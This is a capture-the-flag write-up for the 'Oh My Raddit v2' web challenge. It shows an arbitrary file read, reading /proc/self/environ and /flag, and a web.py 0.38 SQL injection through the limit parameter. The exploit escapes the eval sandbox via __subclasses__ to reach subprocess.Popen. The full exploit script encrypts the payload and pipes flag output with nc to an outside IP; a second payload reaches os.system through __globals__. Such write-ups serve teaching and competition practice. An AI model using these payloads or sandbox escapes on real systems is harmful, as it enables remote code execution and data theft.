Rating: 0

Oh My Raddit v2

(bookgin, kaibro, qazwsxedcrfvtg14, hortune, written by bookgin)

We should get shell in order to retrieve the flag in Oh My raddit 2.

Arbitrary File Read

Since we have the DES key now, we can first decrypt the ciphertext of the download command:

m=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec1fd7.pdf

Let's try specifying the path now. Does it work? Yes, it works!

m=d&f=app.py

Read the following files:

  • app.py: source code
  • db.db: but nothing interesting in the database
  • /proc/self/environ: the full path of app.py is /home/orange/w/app.py
  • /proc/self/cmdline: python app.py
  • /proc/self/maps: python 2.7
  • /flag: Internal Server Error, which means the file exists but cannot be read
  • requirements.txt: pycrypto==2.6.1, web.py==0.38 (web.py is outdated)

Here is the source code of app.py:

# coding: UTF-8
import os
import web
import urllib
import urlparse
from Crypto.Cipher import DES

web.config.debug = False
ENCRPYTION_KEY = 'megnnaro'


urls = (
    '/', 'index'
)
app = web.application(urls, globals())
db = web.database(dbn='sqlite', db='db.db')


def encrypt(s):
    length = DES.block_size - (len(s) % DES.block_size)
    s = s + chr(length)*length

    cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
    return cipher.encrypt(s).encode('hex')

def decrypt(s):
    try:
        data = s.decode('hex')
        cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)

        data = cipher.decrypt(data)
        data = data[:-ord(data[-1])]
        return dict(urlparse.parse_qsl(data))
    except Exception as e:
        print e.message
        return {}

def get_posts(limit=None):
    records = []
    for i in db.select('posts', limit=limit, order='ups desc'):
        tmp = {
            'm': 'r', 
            't': i.title.encode('utf-8', 'ignore'), 
            'u': i.id, 
        } 
        tmp['param'] = encrypt(urllib.urlencode(tmp))
        tmp['ups'] = i.ups
        if i.file:
            tmp['file'] = encrypt(urllib.urlencode({'m': 'd', 'f': i.file}))
        else:
            tmp['file'] = ''
        
        records.append( tmp )
    return records

def get_urls():
    urls = []
    for i in [10, 100, 1000]:
        data = {
            'm': 'p', 
            'l': i
        }
        urls.append( encrypt(urllib.urlencode(data)) )
    return urls

class index:
    def GET(self):
        s = web.input().get('s')
        if not s:
            return web.template.frender('templates/index.html')(get_posts(), get_urls())
        else:
            s = decrypt(s)
            method = s.get('m', '')
            if method and method not in list('rdp'):
                return 'param error'
            if method == 'r':
                uid = s.get('u')
                record = db.select('posts', where='id=$id', vars={'id': uid}).first()
                if record:
                    raise web.seeother(record.url)
                else:
                    return 'not found'
            elif method == 'd':
                file = s.get('f')
                if not os.path.exists(file):
                    return 'not found'
                name = os.path.basename(file)
                web.header('Content-Disposition', 'attachment; filename=%s' % name)
                web.header('Content-Type', 'application/pdf')
                with open(file, 'rb') as fp:
                    data = fp.read()
                return data
            elif method == 'p':
                limit = s.get('l')
                return web.template.frender('templates/index.html')(get_posts(limit), get_urls())
            else:
                return web.template.frender('templates/index.html')(get_posts(), get_urls())


if __name__ == "__main__":
    app.run()

Browsing source code / issues

First I found this issue, and it's reported by Orange Tsai, who is the author of the challenge. Gotcha!

This issue is fixed in webpy 0.39, but the server side still use 0.38! Thus it's vulnerable to SQLite injection through limit parameter.

@kaibro found another issue. They try to fix eval code execution by passing a empty builtin to it.

def reparam(string_, dictionary): 
    """
    Takes a string and a dictionary and interpolates the string
    using values from the dictionary. Returns an `SQLQuery` for the result.
        >>> reparam("s = $s", dict(s=True))
        <sql: "s = 't'">
        >>> reparam("s IN $s", dict(s=[1, 2]))
        <sql: 's IN (1, 2)'>
    """
    dictionary = dictionary.copy() # eval mucks with it
    # disable builtins to avoid risk for remote code exection.
    dictionary['__builtins__'] = object()
    vals = []
    result = []
    for live, chunk in _interpolate(string_):
        if live:
            v = eval(chunk, dictionary)
            result.append(sqlquote(v))
        else: 
            result.append(chunk)
    return SQLQuery.join(result, '')

When eval takes the second parameter with builtin in it, the current builtin will be replaced. In the source code the builtins is set to an empty object. In other words, passing builtin is similarly to replace the current namespace.

>>> eval('__builtins__',{'__builtins__': object})
<type 'object'>
>>> dir(eval('__builtins__',{'__builtins__': object}))
['__class__', '__delattr__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']
>>> eval('__builtins__')
<module '__builtin__' (built-in)>
>>> dir(eval('__builtins__'))
['ArithmeticError', ... ,'xrange', 'zip']

However, replacing the namespace doesn't prevent us to retrieve other exploitable classes. We just cannot directly use eval, __import__ ....

First, list all the classes through [].__class__.__base__.__subclasses__():

db.select('posts', limit="slowpoke ${[].__class__.__base__.__subclasses__()}", order='ups desc')

[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <type 'time.struct_time'>, <type '_thread._localdummy'>, <type 'thread._local'>, <type 'thread.lock'>, <type 'collections.deque'>, <type 'deque_iterator'>, <type 'deque_reverse_iterator'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'itertools.combinations'>, <type 'itertools.combinations_with_replacement'>, <type 'itertools.cycle'>, <type 'itertools.dropwhile'>, <type 'itertools.takewhile'>, <type 'itertools.islice'>, <type 'itertools.starmap'>, <type 'itertools.imap'>, <type 'itertools.chain'>, <type 'itertools.compress'>, <type 'itertools.ifilter'>, <type 'itertools.ifilterfalse'>, <type 'itertools.count'>, <type 'itertools.izip'>, <type 'itertools.izip_longest'>, <type 'itertools.permutations'>, <type 'itertools.product'>, <type 'itertools.repeat'>, <type 'itertools.groupby'>, <type 'itertools.tee_dataobject'>, <type 'itertools.tee'>, <type 'itertools._grouper'>, <class 'threading._Verbose'>, <type 'select.epoll'>, <type 'Struct'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'subprocess.Popen'>, <type 'datetime.date'>, <type 'datetime.timedelta'>, <type 'datetime.time'>, <type 'datetime.tzinfo'>, <class 'string.Template'>, <class 'string.Formatter'>, <type 'functools.partial'>, <type '_ssl._SSLContext'>, <type '_ssl._SSLSocket'>, <class 'socket._closedsocket'>, <type '_socket.socket'>, <type 'method_descriptor'>, <class 'socket._socketobject'>, <class 'socket._fileobject'>, <class 'urlparse.ResultMixin'>, <class 'contextlib.GeneratorContextManager'>, <class 'contextlib.closing'>, <type '_io._IOBase'>, <type '_io.IncrementalNewlineDecoder'>, <type '_hashlib.HASH'>, <type '_random.Random'>, <type 'cPickle.Unpickler'>, <type 'cPickle.Pickler'>, <class 'web.webapi.OK'>, <class 'web.webapi.Created'>, <class 'web.webapi.Accepted'>, <class 'web.webapi.NoContent'>, <class 'web.db.SQLParam'>, <class 'web.db.SQLQuery'>, <type 'bz2.BZ2File'>, <type 'bz2.BZ2Compressor'>, <type 'bz2.BZ2Decompressor'>, <type 'pwd.struct_passwd'>, <type 'grp.struct_group'>, <class 'web.template.SafeVisitor'>, <class 'web.template.TemplateResult'>, <class 'web.form.Form'>, <class 'web.form.Input'>, <class 'web.session.Session'>, <type 'sqlite3.Row'>, <type 'sqlite3.Cursor'>, <type 'sqlite3.Connection'>, <type 'sqlite3Node'>, <type 'sqlite3.Cache'>, <type 'sqlite3.Statement'>, <type 'sqlite3.PrepareProtocol'>]

Take a closer look. There is <class 'subprocess.Popen'> class, so it's trivial to RCE now!

My payload:

#!/usr/bin/env python3
import requests
from Crypto.Cipher import DES 

def encrypt(s):
    raw = s.encode()
    pad = 8 - len(raw) % 8 
    raw += bytes([pad] * pad)
    print(raw)
    return DES.new('megnnaro').encrypt(raw).hex()

def decrypt(s):
    raw = DES.new('megnnaro').decrypt(bytes.fromhex(s))
    return raw[:-raw[-1]].decode()
# <class 'subprocess.Popen'>
h = encrypt("m=p&l=${[].__class__.__base__.__subclasses__()[-68]('/read_flag | nc 240.240.240.240 5678',shell=1)}")
print(requests.get('http://13.115.255.46/?s=' + h).text)

It's worth to mention @qazwsxedcrfvtg14 's more creative payload. I can't believe that an unbounded method can access __globals__ in Python 2.7 !

([t for t in ().__class__.__base__.__subclasses__() if t.__name__ == 'Sized'][0].__len__).__globals__['__builtins__']['__import__']('os').system('sleep 10')

The flag is hitcon{Fr0m_SQL_Injecti0n_t0_Shell_1s_C00L!!!}.